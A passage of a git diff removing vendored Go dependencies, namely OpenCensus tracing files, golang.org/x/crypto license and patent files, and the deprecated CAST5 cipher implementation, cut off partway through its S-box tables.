sid [8]byte - binary.LittleEndian.PutUint64(sid[:], id) - return sid -} - -// NewTraceID returns a non-zero trace ID from a randomly-chosen sequence. -// mu should be held while this function is called. -func (gen *defaultIDGenerator) NewTraceID() [16]byte { - var tid [16]byte - // Construct the trace ID from two outputs of traceIDRand, with a constant - // added to each half for additional entropy. - gen.Lock() - binary.LittleEndian.PutUint64(tid[0:8], gen.traceIDRand.Uint64()+gen.traceIDAdd[0]) - binary.LittleEndian.PutUint64(tid[8:16], gen.traceIDRand.Uint64()+gen.traceIDAdd[1]) - gen.Unlock() - return tid -} diff --git a/vendor/go.opencensus.io/trace/trace_go11.go b/vendor/go.opencensus.io/trace/trace_go11.go deleted file mode 100644 index b7d8aaf284..0000000000 --- a/vendor/go.opencensus.io/trace/trace_go11.go +++ /dev/null @@ -1,32 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// +build go1.11 - -package trace - -import ( - "context" - t "runtime/trace" -) - -func startExecutionTracerTask(ctx context.Context, name string) (context.Context, func()) { - if !t.IsEnabled() { - // Avoid additional overhead if - // runtime/trace is not enabled. - return ctx, func() {} - } - nctx, task := t.NewTask(ctx, name) - return nctx, task.End -} diff --git a/vendor/go.opencensus.io/trace/trace_nongo11.go b/vendor/go.opencensus.io/trace/trace_nongo11.go deleted file mode 100644 index e25419859c..0000000000 --- a/vendor/go.opencensus.io/trace/trace_nongo11.go +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// +build !go1.11 - -package trace - -import ( - "context" -) - -func startExecutionTracerTask(ctx context.Context, name string) (context.Context, func()) { - return ctx, func() {} -} diff --git a/vendor/go.opencensus.io/trace/tracestate/tracestate.go b/vendor/go.opencensus.io/trace/tracestate/tracestate.go deleted file mode 100644 index 2d6c713eb3..0000000000 --- a/vendor/go.opencensus.io/trace/tracestate/tracestate.go +++ /dev/null @@ -1,147 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package tracestate implements support for the Tracestate header of the -// W3C TraceContext propagation format. -package tracestate - -import ( - "fmt" - "regexp" -) - -const ( - keyMaxSize = 256 - valueMaxSize = 256 - maxKeyValuePairs = 32 -) - -const ( - keyWithoutVendorFormat = `[a-z][_0-9a-z\-\*\/]{0,255}` - keyWithVendorFormat = `[a-z][_0-9a-z\-\*\/]{0,240}@[a-z][_0-9a-z\-\*\/]{0,13}` - keyFormat = `(` + keyWithoutVendorFormat + `)|(` + keyWithVendorFormat + `)` - valueFormat = `[\x20-\x2b\x2d-\x3c\x3e-\x7e]{0,255}[\x21-\x2b\x2d-\x3c\x3e-\x7e]` -) - -var keyValidationRegExp = regexp.MustCompile(`^(` + keyFormat + `)$`) -var valueValidationRegExp = regexp.MustCompile(`^(` + valueFormat + `)$`) - -// Tracestate represents tracing-system specific context in a list of key-value pairs. Tracestate allows different -// vendors propagate additional information and inter-operate with their legacy Id formats. -type Tracestate struct { - entries []Entry -} - -// Entry represents one key-value pair in a list of key-value pair of Tracestate. -type Entry struct { - // Key is an opaque string up to 256 characters printable. It MUST begin with a lowercase letter, - // and can only contain lowercase letters a-z, digits 0-9, underscores _, dashes -, asterisks *, and - // forward slashes /. - Key string - - // Value is an opaque string up to 256 characters printable ASCII RFC0020 characters (i.e., the - // range 0x20 to 0x7E) except comma , and =. - Value string -} - -// Entries returns a slice of Entry. -func (ts *Tracestate) Entries() []Entry { - if ts == nil { - return nil - } - return ts.entries -} - -func (ts *Tracestate) remove(key string) *Entry { - for index, entry := range ts.entries { - if entry.Key == key { - ts.entries = append(ts.entries[:index], ts.entries[index+1:]...) - return &entry - } - } - return nil -} - -func (ts *Tracestate) add(entries []Entry) error { - for _, entry := range entries { - ts.remove(entry.Key) - } - if len(ts.entries)+len(entries) > maxKeyValuePairs { - return fmt.Errorf("adding %d key-value pairs to current %d pairs exceeds the limit of %d", - len(entries), len(ts.entries), maxKeyValuePairs) - } - ts.entries = append(entries, ts.entries...) - return nil -} - -func isValid(entry Entry) bool { - return keyValidationRegExp.MatchString(entry.Key) && - valueValidationRegExp.MatchString(entry.Value) -} - -func containsDuplicateKey(entries ...Entry) (string, bool) { - keyMap := make(map[string]int) - for _, entry := range entries { - if _, ok := keyMap[entry.Key]; ok { - return entry.Key, true - } - keyMap[entry.Key] = 1 - } - return "", false -} - -func areEntriesValid(entries ...Entry) (*Entry, bool) { - for _, entry := range entries { - if !isValid(entry) { - return &entry, false - } - } - return nil, true -} - -// New creates a Tracestate object from a parent and/or entries (key-value pair). -// Entries from the parent are copied if present. The entries passed to this function -// are inserted in front of those copied from the parent. If an entry copied from the -// parent contains the same key as one of the entry in entries then the entry copied -// from the parent is removed. See add func. -// -// An error is returned with nil Tracestate if -// 1. one or more entry in entries is invalid. -// 2. two or more entries in the input entries have the same key. -// 3. the number of entries combined from the parent and the input entries exceeds maxKeyValuePairs. -// (duplicate entry is counted only once). -func New(parent *Tracestate, entries ...Entry) (*Tracestate, error) { - if parent == nil && len(entries) == 0 { - return nil, nil - } - if entry, ok := areEntriesValid(entries...); !ok { - return nil, fmt.Errorf("key-value pair {%s, %s} is invalid", entry.Key, entry.Value) - } - - if key, duplicate := containsDuplicateKey(entries...); duplicate { - return nil, fmt.Errorf("contains duplicate keys (%s)", key) - } - - tracestate := Tracestate{} - - if parent != nil && len(parent.entries) > 0 { - tracestate.entries = append([]Entry{}, parent.entries...) - } - - err := tracestate.add(entries) - if err != nil { - return nil, err - } - return &tracestate, nil -} diff --git a/vendor/golang.org/x/crypto/AUTHORS b/vendor/golang.org/x/crypto/AUTHORS deleted file mode 100644 index 2b00ddba0d..0000000000 --- a/vendor/golang.org/x/crypto/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at https://tip.golang.org/AUTHORS. diff --git a/vendor/golang.org/x/crypto/CONTRIBUTORS b/vendor/golang.org/x/crypto/CONTRIBUTORS deleted file mode 100644 index 1fbd3e976f..0000000000 --- a/vendor/golang.org/x/crypto/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at https://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/golang.org/x/crypto/LICENSE b/vendor/golang.org/x/crypto/LICENSE deleted file mode 100644 index 6a66aea5ea..0000000000 --- a/vendor/golang.org/x/crypto/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2009 The Go Authors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/golang.org/x/crypto/PATENTS b/vendor/golang.org/x/crypto/PATENTS deleted file mode 100644 index 733099041f..0000000000 --- a/vendor/golang.org/x/crypto/PATENTS +++ /dev/null @@ -1,22 +0,0 @@ -Additional IP Rights Grant (Patents) - -"This implementation" means the copyrightable works distributed by -Google as part of the Go project. - -Google hereby grants to You a perpetual, worldwide, non-exclusive, -no-charge, royalty-free, irrevocable (except as stated in this section) -patent license to make, have made, use, offer to sell, sell, import, -transfer and otherwise run, modify and propagate the contents of this -implementation of Go, where such license applies only to those patent -claims, both currently owned or controlled by Google and acquired in -the future, licensable by Google that are necessarily infringed by this -implementation of Go. This grant does not include claims that would be -infringed only as a consequence of further modification of this -implementation. If you or your agent or exclusive licensee institute or -order or agree to the institution of patent litigation against any -entity (including a cross-claim or counterclaim in a lawsuit) alleging -that this implementation of Go or any code incorporated within this -implementation of Go constitutes direct or contributory patent -infringement, or inducement of patent infringement, then any patent -rights granted to you under this License for this implementation of Go -shall terminate as of the date such litigation is filed. diff --git a/vendor/golang.org/x/crypto/cast5/cast5.go b/vendor/golang.org/x/crypto/cast5/cast5.go deleted file mode 100644 index ddcbeb6f2a..0000000000 --- a/vendor/golang.org/x/crypto/cast5/cast5.go +++ /dev/null @@ -1,533 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package cast5 implements CAST5, as defined in RFC 2144. -// -// CAST5 is a legacy cipher and its short block size makes it vulnerable to -// birthday bound attacks (see https://sweet32.info). It should only be used -// where compatibility with legacy systems, not security, is the goal. -// -// Deprecated: any new system should use AES (from crypto/aes, if necessary in -// an AEAD mode like crypto/cipher.NewGCM) or XChaCha20-Poly1305 (from -// golang.org/x/crypto/chacha20poly1305). -package cast5 // import "golang.org/x/crypto/cast5" - -import "errors" - -const BlockSize = 8 -const KeySize = 16 - -type Cipher struct { - masking [16]uint32 - rotate [16]uint8 -} - -func NewCipher(key []byte) (c *Cipher, err error) { - if len(key) != KeySize { - return nil, errors.New("CAST5: keys must be 16 bytes") - } - - c = new(Cipher) - c.keySchedule(key) - return -} - -func (c *Cipher) BlockSize() int { - return BlockSize -} - -func (c *Cipher) Encrypt(dst, src []byte) { - l := uint32(src[0])<<24 | uint32(src[1])<<16 | uint32(src[2])<<8 | uint32(src[3]) - r := uint32(src[4])<<24 | uint32(src[5])<<16 | uint32(src[6])<<8 | uint32(src[7]) - - l, r = r, l^f1(r, c.masking[0], c.rotate[0]) - l, r = r, l^f2(r, c.masking[1], c.rotate[1]) - l, r = r, l^f3(r, c.masking[2], c.rotate[2]) - l, r = r, l^f1(r, c.masking[3], c.rotate[3]) - - l, r = r, l^f2(r, c.masking[4], c.rotate[4]) - l, r = r, l^f3(r, c.masking[5], c.rotate[5]) - l, r = r, l^f1(r, c.masking[6], c.rotate[6]) - l, r = r, l^f2(r, c.masking[7], c.rotate[7]) - - l, r = r, l^f3(r, c.masking[8], c.rotate[8]) - l, r = r, l^f1(r, c.masking[9], c.rotate[9]) - l, r = r, l^f2(r, c.masking[10], c.rotate[10]) - l, r = r, l^f3(r, c.masking[11], c.rotate[11]) - - l, r = r, l^f1(r, c.masking[12], c.rotate[12]) - l, r = r, l^f2(r, c.masking[13], c.rotate[13]) - l, r = r, l^f3(r, c.masking[14], c.rotate[14]) - l, r = r, l^f1(r, c.masking[15], c.rotate[15]) - - dst[0] = uint8(r >> 24) - dst[1] = uint8(r >> 16) - dst[2] = uint8(r >> 8) - dst[3] = uint8(r) - dst[4] = uint8(l >> 24) - dst[5] = uint8(l >> 16) - dst[6] = uint8(l >> 8) - dst[7] = uint8(l) -} - -func (c *Cipher) Decrypt(dst, src []byte) { - l := uint32(src[0])<<24 | uint32(src[1])<<16 | uint32(src[2])<<8 | uint32(src[3]) - r := uint32(src[4])<<24 | uint32(src[5])<<16 | uint32(src[6])<<8 | uint32(src[7]) - - l, r = r, l^f1(r, c.masking[15], c.rotate[15]) - l, r = r, l^f3(r, c.masking[14], c.rotate[14]) - l, r = r, l^f2(r, c.masking[13], c.rotate[13]) - l, r = r, l^f1(r, c.masking[12], c.rotate[12]) - - l, r = r, l^f3(r, c.masking[11], c.rotate[11]) - l, r = r, l^f2(r, c.masking[10], c.rotate[10]) - l, r = r, l^f1(r, c.masking[9], c.rotate[9]) - l, r = r, l^f3(r, c.masking[8], c.rotate[8]) - - l, r = r, l^f2(r, c.masking[7], c.rotate[7]) - l, r = r, l^f1(r, c.masking[6], c.rotate[6]) - l, r = r, l^f3(r, c.masking[5], c.rotate[5]) - l, r = r, l^f2(r, c.masking[4], c.rotate[4]) - - l, r = r, l^f1(r, c.masking[3], c.rotate[3]) - l, r = r, l^f3(r, c.masking[2], c.rotate[2]) - l, r = r, l^f2(r, c.masking[1], c.rotate[1]) - l, r = r, l^f1(r, c.masking[0], c.rotate[0]) - - dst[0] = uint8(r >> 24) - dst[1] = uint8(r >> 16) - dst[2] = uint8(r >> 8) - dst[3] = uint8(r) - dst[4] = uint8(l >> 24) - dst[5] = uint8(l >> 16) - dst[6] = uint8(l >> 8) - dst[7] = uint8(l) -} - -type keyScheduleA [4][7]uint8 -type keyScheduleB [4][5]uint8 - -// keyScheduleRound contains the magic values for a round of the key schedule. -// The keyScheduleA deals with the lines like: -// z0z1z2z3 = x0x1x2x3 ^ S5[xD] ^ S6[xF] ^ S7[xC] ^ S8[xE] ^ S7[x8] -// Conceptually, both x and z are in the same array, x first. The first -// element describes which word of this array gets written to and the -// second, which word gets read. So, for the line above, it's "4, 0", because -// it's writing to the first word of z, which, being after x, is word 4, and -// reading from the first word of x: word 0. -// -// Next are the indexes into the S-boxes. Now the array is treated as bytes. So -// "xD" is 0xd. The first byte of z is written as "16 + 0", just to be clear -// that it's z that we're indexing. -// -// keyScheduleB deals with lines like: -// K1 = S5[z8] ^ S6[z9] ^ S7[z7] ^ S8[z6] ^ S5[z2] -// "K1" is ignored because key words are always written in order. So the five -// elements are the S-box indexes. They use the same form as in keyScheduleA, -// above. - -type keyScheduleRound struct{} -type keySchedule []keyScheduleRound - -var schedule = []struct { - a keyScheduleA - b keyScheduleB -}{ - { - keyScheduleA{ - {4, 0, 0xd, 0xf, 0xc, 0xe, 0x8}, - {5, 2, 16 + 0, 16 + 2, 16 + 1, 16 + 3, 0xa}, - {6, 3, 16 + 7, 16 + 6, 16 + 5, 16 + 4, 9}, - {7, 1, 16 + 0xa, 16 + 9, 16 + 0xb, 16 + 8, 0xb}, - }, - keyScheduleB{ - {16 + 8, 16 + 9, 16 + 7, 16 + 6, 16 + 2}, - {16 + 0xa, 16 + 0xb, 16 + 5, 16 + 4, 16 + 6}, - {16 + 0xc, 16 + 0xd, 16 + 3, 16 + 2, 16 + 9}, - {16 + 0xe, 16 + 0xf, 16 + 1, 16 + 0, 16 + 0xc}, - }, - }, - { - keyScheduleA{ - {0, 6, 16 + 5, 16 + 7, 16 + 4, 16 + 6, 16 + 0}, - {1, 4, 0, 2, 1, 3, 16 + 2}, - {2, 5, 7, 6, 5, 4, 16 + 1}, - {3, 7, 0xa, 9, 0xb, 8, 16 + 3}, - }, - keyScheduleB{ - {3, 2, 0xc, 0xd, 8}, - {1, 0, 0xe, 0xf, 0xd}, - {7, 6, 8, 9, 3}, - {5, 4, 0xa, 0xb, 7}, - }, - }, - { - keyScheduleA{ - {4, 0, 0xd, 0xf, 0xc, 0xe, 8}, - {5, 2, 16 + 0, 16 + 2, 16 + 1, 16 + 3, 0xa}, - {6, 3, 16 + 7, 16 + 6, 16 + 5, 16 + 4, 9}, - {7, 1, 16 + 0xa, 16 + 9, 16 + 0xb, 16 + 8, 0xb}, - }, - keyScheduleB{ - {16 + 3, 16 + 2, 16 + 0xc, 16 + 0xd, 16 + 9}, - {16 + 1, 16 + 0, 16 + 0xe, 16 + 0xf, 16 + 0xc}, - {16 + 7, 16 + 6, 16 + 8, 16 + 9, 16 + 2}, - {16 + 5, 16 + 4, 16 + 0xa, 16 + 0xb, 16 + 6}, - }, - }, - { - keyScheduleA{ - {0, 6, 16 + 5, 16 + 7, 16 + 4, 16 + 6, 16 + 0}, - {1, 4, 0, 2, 1, 3, 16 + 2}, - {2, 5, 7, 6, 5, 4, 16 + 1}, - {3, 7, 0xa, 9, 0xb, 8, 16 + 3}, - }, - keyScheduleB{ - {8, 9, 7, 6, 3}, - {0xa, 0xb, 5, 4, 7}, - {0xc, 0xd, 3, 2, 8}, - {0xe, 0xf, 1, 0, 0xd}, - }, - }, -} - -func (c *Cipher) keySchedule(in []byte) { - var t [8]uint32 - var k [32]uint32 - - for i := 0; i < 4; i++ { - j := i * 4 - t[i] = uint32(in[j])<<24 | uint32(in[j+1])<<16 | uint32(in[j+2])<<8 | uint32(in[j+3]) - } - - x := []byte{6, 7, 4, 5} - ki := 0 - - for half := 0; half < 2; half++ { - for _, round := range schedule { - for j := 0; j < 4; j++ { - var a [7]uint8 - copy(a[:], round.a[j][:]) - w := t[a[1]] - w ^= sBox[4][(t[a[2]>>2]>>(24-8*(a[2]&3)))&0xff] - w ^= sBox[5][(t[a[3]>>2]>>(24-8*(a[3]&3)))&0xff] - w ^= sBox[6][(t[a[4]>>2]>>(24-8*(a[4]&3)))&0xff] - w ^= sBox[7][(t[a[5]>>2]>>(24-8*(a[5]&3)))&0xff] - w ^= sBox[x[j]][(t[a[6]>>2]>>(24-8*(a[6]&3)))&0xff] - t[a[0]] = w - } - - for j := 0; j < 4; j++ { - var b [5]uint8 - copy(b[:], round.b[j][:]) - w := sBox[4][(t[b[0]>>2]>>(24-8*(b[0]&3)))&0xff] - w ^= sBox[5][(t[b[1]>>2]>>(24-8*(b[1]&3)))&0xff] - w ^= sBox[6][(t[b[2]>>2]>>(24-8*(b[2]&3)))&0xff] - w ^= sBox[7][(t[b[3]>>2]>>(24-8*(b[3]&3)))&0xff] - w ^= sBox[4+j][(t[b[4]>>2]>>(24-8*(b[4]&3)))&0xff] - k[ki] = w - ki++ - } - } - } - - for i := 0; i < 16; i++ { - c.masking[i] = k[i] - c.rotate[i] = uint8(k[16+i] & 0x1f) - } -} - -// These are the three 'f' functions. See RFC 2144, section 2.2. -func f1(d, m uint32, r uint8) uint32 { - t := m + d - I := (t << r) | (t >> (32 - r)) - return ((sBox[0][I>>24] ^ sBox[1][(I>>16)&0xff]) - sBox[2][(I>>8)&0xff]) + sBox[3][I&0xff] -} - -func f2(d, m uint32, r uint8) uint32 { - t := m ^ d - I := (t << r) | (t >> (32 - r)) - return ((sBox[0][I>>24] - sBox[1][(I>>16)&0xff]) + sBox[2][(I>>8)&0xff]) ^ sBox[3][I&0xff] -} - -func f3(d, m uint32, r uint8) uint32 { - t := m - d - I := (t << r) | (t >> (32 - r)) - return ((sBox[0][I>>24] + sBox[1][(I>>16)&0xff]) ^ sBox[2][(I>>8)&0xff]) - sBox[3][I&0xff] -} - -var sBox = [8][256]uint32{ - { - 0x30fb40d4, 0x9fa0ff0b, 0x6beccd2f, 0x3f258c7a, 0x1e213f2f, 0x9c004dd3, 0x6003e540, 0xcf9fc949, - 0xbfd4af27, 0x88bbbdb5, 0xe2034090, 0x98d09675, 0x6e63a0e0, 0x15c361d2, 0xc2e7661d, 0x22d4ff8e, - 0x28683b6f, 0xc07fd059, 0xff2379c8, 0x775f50e2, 0x43c340d3, 0xdf2f8656, 0x887ca41a, 0xa2d2bd2d, - 0xa1c9e0d6, 0x346c4819, 0x61b76d87, 0x22540f2f, 0x2abe32e1, 0xaa54166b, 0x22568e3a, 0xa2d341d0, - 0x66db40c8, 0xa784392f, 0x004dff2f, 0x2db9d2de, 0x97943fac, 0x4a97c1d8, 0x527644b7, 0xb5f437a7, - 0xb82cbaef, 0xd751d159, 0x6ff7f0ed, 0x5a097a1f, 0x827b68d0, 0x90ecf52e, 0x22b0c054, 0xbc8e5935, - 0x4b6d2f7f, 0x50bb64a2, 0xd2664910, 0xbee5812d, 0xb7332290, 0xe93b159f, 0xb48ee411, 0x4bff345d, - 0xfd45c240, 0xad31973f, 0xc4f6d02e, 0x55fc8165, 0xd5b1caad, 0xa1ac2dae, 0xa2d4b76d, 0xc19b0c50, - 0x882240f2, 0x0c6e4f38, 0xa4e4bfd7, 0x4f5ba272, 0x564c1d2f, 0xc59c5319, 0xb949e354, 0xb04669fe, - 0xb1b6ab8a, 0xc71358dd, 0x6385c545, 0x110f935d, 0x57538ad5, 0x6a390493, 0xe63d37e0, 0x2a54f6b3, - 0x3a787d5f, 0x6276a0b5, 0x19a6fcdf, 0x7a42206a, 0x29f9d4d5, 0xf61b1891, 0xbb72275e, 0xaa508167, - 0x38901091, 0xc6b505eb, 0x84c7cb8c, 0x2ad75a0f, 0x874a1427, 0xa2d1936b, 0x2ad286af, 0xaa56d291, - 0xd7894360, 0x425c750d, 0x93b39e26, 0x187184c9, 0x6c00b32d, 0x73e2bb14, 0xa0bebc3c, 0x54623779, - 0x64459eab, 0x3f328b82, 0x7718cf82, 0x59a2cea6, 0x04ee002e, 0x89fe78e6, 0x3fab0950, 0x325ff6c2, - 0x81383f05, 0x6963c5c8, 0x76cb5ad6, 0xd49974c9, 0xca180dcf, 0x380782d5, 0xc7fa5cf6, 0x8ac31511, - 0x35e79e13, 0x47da91d0, 0xf40f9086, 0xa7e2419e, 0x31366241, 0x051ef495, 0xaa573b04, 0x4a805d8d, - 0x548300d0, 0x00322a3c, 0xbf64cddf, 0xba57a68e, 0x75c6372b, 0x50afd341, 0xa7c13275, 0x915a0bf5, - 0x6b54bfab, 0x2b0b1426, 0xab4cc9d7, 0x449ccd82, 0xf7fbf265, 0xab85c5f3, 0x1b55db94, 0xaad4e324, - 0xcfa4bd3f, 0x2deaa3e2, 0x9e204d02, 0xc8bd25ac, 0xeadf55b3, 0xd5bd9e98, 0xe31231b2, 0x2ad5ad6c, - 0x954329de, 0xadbe4528, 0xd8710f69, 0xaa51c90f, 0xaa786bf6, 0x22513f1e, 0xaa51a79b, 0x2ad344cc, - 0x7b5a41f0, 0xd37cfbad, 0x1b069505, 0x41ece491, 0xb4c332e6, 0x032268d4, 0xc9600acc, 0xce387e6d, - 0xbf6bb16c, 0x6a70fb78, 0x0d03d9c9, 0xd4df39de, 0xe01063da, 0x4736f464, 0x5ad328d8, 0xb347cc96, - 0x75bb0fc3, 0x98511bfb, 0x4ffbcc35, 0xb58bcf6a, 0xe11f0abc, 0xbfc5fe4a, 0xa70aec10, 0xac39570a, - 0x3f04442f, 0x6188b153, 0xe0397a2e, 0x5727cb79, 0x9ceb418f, 0x1cacd68d, 0x2ad37c96, 0x0175cb9d, - 0xc69dff09, 0xc75b65f0, 0xd9db40d8, 0xec0e7779, 0x4744ead4, 0xb11c3274, 0xdd24cb9e, 0x7e1c54bd, - 0xf01144f9, 0xd2240eb1, 0x9675b3fd, 0xa3ac3755, 0xd47c27af, 0x51c85f4d, 0x56907596, 0xa5bb15e6, - 0x580304f0, 0xca042cf1, 0x011a37ea, 0x8dbfaadb, 0x35ba3e4a, 0x3526ffa0, 0xc37b4d09, 0xbc306ed9, - 0x98a52666, 0x5648f725, 0xff5e569d, 0x0ced63d0, 0x7c63b2cf, 0x700b45e1, 0xd5ea50f1, 0x85a92872, - 0xaf1fbda7, 0xd4234870, 0xa7870bf3, 0x2d3b4d79, 0x42e04198, 0x0cd0ede7, 0x26470db8, 0xf881814c, - 0x474d6ad7, 0x7c0c5e5c, 0xd1231959, 0x381b7298, 0xf5d2f4db, 0xab838653, 0x6e2f1e23, 0x83719c9e, - 0xbd91e046, 0x9a56456e, 0xdc39200c, 0x20c8c571, 0x962bda1c, 0xe1e696ff, 0xb141ab08, 0x7cca89b9, - 0x1a69e783, 0x02cc4843, 0xa2f7c579, 0x429ef47d, 0x427b169c, 0x5ac9f049, 0xdd8f0f00, 0x5c8165bf, - }, - { - 0x1f201094, 0xef0ba75b, 0x69e3cf7e, 0x393f4380, 0xfe61cf7a, 0xeec5207a, 0x55889c94, 0x72fc0651, - 0xada7ef79, 0x4e1d7235, 0xd55a63ce, 0xde0436ba, 0x99c430ef, 0x5f0c0794, 0x18dcdb7d, 0xa1d6eff3, - 0xa0b52f7b, 0x59e83605, 0xee15b094, 0xe9ffd909, 0xdc440086, 0xef944459, 0xba83ccb3, 0xe0c3cdfb, - 0xd1da4181, 0x3b092ab1, 0xf997f1c1, 0xa5e6cf7b, 0x01420ddb, 0xe4e7ef5b, 0x25a1ff41, 0xe180f806, - 0x1fc41080, 0x179bee7a, 0xd37ac6a9, 0xfe5830a4, 0x98de8b7f, 0x77e83f4e, 0x79929269, 0x24fa9f7b, - 0xe113c85b, 0xacc40083, 0xd7503525, 0xf7ea615f, 0x62143154, 0x0d554b63, 0x5d681121, 0xc866c359, - 0x3d63cf73, 0xcee234c0, 0xd4d87e87, 0x5c672b21, 0x071f6181, 0x39f7627f, 0x361e3084, 0xe4eb573b, - 0x602f64a4, 0xd63acd9c, 0x1bbc4635, 0x9e81032d, 0x2701f50c, 0x99847ab4, 0xa0e3df79, 0xba6cf38c, - 0x10843094, 0x2537a95e, 0xf46f6ffe, 0xa1ff3b1f, 0x208cfb6a, 0x8f458c74, 0xd9e0a227, 0x4ec73a34, - 0xfc884f69, 0x3e4de8df, 0xef0e0088, 0x3559648d, 0x8a45388c, 0x1d804366, 0x721d9bfd, 0xa58684bb, - 0xe8256333, 0x844e8212, 0x128d8098, 0xfed33fb4, 0xce280ae1, 0x27e19ba5, 0xd5a6c252, 0xe49754bd, - 0xc5d655dd, 0xeb667064, 0x77840b4d, 0xa1b6a801, 0x84db26a9, 0xe0b56714, 0x21f043b7, 0xe5d05860, - 0x54f03084, 0x066ff472, 0xa31aa153, 0xdadc4755, 0xb5625dbf, 0x68561be6, 0x83ca6b94, 0x2d6ed23b, - 0xeccf01db, 0xa6d3d0ba, 0xb6803d5c, 0xaf77a709, 0x33b4a34c, 0x397bc8d6, 0x5ee22b95, 0x5f0e5304, - 0x81ed6f61, 0x20e74364, 0xb45e1378, 0xde18639b, 0x881ca122, 0xb96726d1, 0x8049a7e8, 0x22b7da7b, - 0x5e552d25, 0x5272d237, 0x79d2951c, 0xc60d894c, 0x488cb402, 0x1ba4fe5b, 0xa4b09f6b, 0x1ca815cf, - 0xa20c3005, 0x8871df63, 0xb9de2fcb, 0x0cc6c9e9, 0x0beeff53, 0xe3214517, 0xb4542835, 0x9f63293c, - 0xee41e729, 0x6e1d2d7c, 0x50045286, 0x1e6685f3, 0xf33401c6, 0x30a22c95, 0x31a70850, 0x60930f13, - 0x73f98417, 0xa1269859, 0xec645c44, 0x52c877a9, 0xcdff33a6, 0xa02b1741, 0x7cbad9a2, 0x2180036f, - 0x50d99c08, 0xcb3f4861, 0xc26bd765, 0x64a3f6ab, 0x80342676, 0x25a75e7b, 0xe4e6d1fc, 0x20c710e6, - 0xcdf0b680, 0x17844d3b, 0x31eef84d, 0x7e0824e4, 0x2ccb49eb, 0x846a3bae, 0x8ff77888, 0xee5d60f6, - 0x7af75673, 0x2fdd5cdb, 0xa11631c1, 0x30f66f43, 0xb3faec54, 0x157fd7fa, 0xef8579cc, 0xd152de58, - 0xdb2ffd5e, 0x8f32ce19, 0x306af97a, 0x02f03ef8, 0x99319ad5, 0xc242fa0f, 0xa7e3ebb0, 0xc68e4906, - 0xb8da230c, 0x80823028, 0xdcdef3c8, 0xd35fb171, 0x088a1bc8, 0xbec0c560, 0x61a3c9e8, 0xbca8f54d, - 0xc72feffa, 0x22822e99, 0x82c570b4, 0xd8d94e89, 0x8b1c34bc, 0x301e16e6, 0x273be979, 0xb0ffeaa6, - 0x61d9b8c6, 0x00b24869, 0xb7ffce3f, 0x08dc283b, 0x43daf65a, 0xf7e19798, 0x7619b72f, 0x8f1c9ba4, - 0xdc8637a0, 0x16a7d3b1, 0x9fc393b7, 0xa7136eeb, 0xc6bcc63e, 0x1a513742, 0xef6828bc, 0x520365d6, - 0x2d6a77ab, 0x3527ed4b, 0x821fd216, 0x095c6e2e, 0xdb92f2fb, 0x5eea29cb, 0x145892f5, 0x91584f7f, - 0x5483697b, 0x2667a8cc, 0x85196048, 0x8c4bacea, 0x833860d4, 0x0d23e0f9, 0x6c387e8a, 0x0ae6d249, - 0xb284600c, 0xd835731d, 0xdcb1c647, 0xac4c56ea, 0x3ebd81b3, 0x230eabb0, 0x6438bc87, 0xf0b5b1fa, - 0x8f5ea2b3, 0xfc184642, 0x0a036b7a, 0x4fb089bd, 0x649da589, 0xa345415e, 0x5c038323, 0x3e5d3bb9, - 0x43d79572, 0x7e6dd07c, 0x06dfdf1e, 0x6c6cc4ef, 0x7160a539, 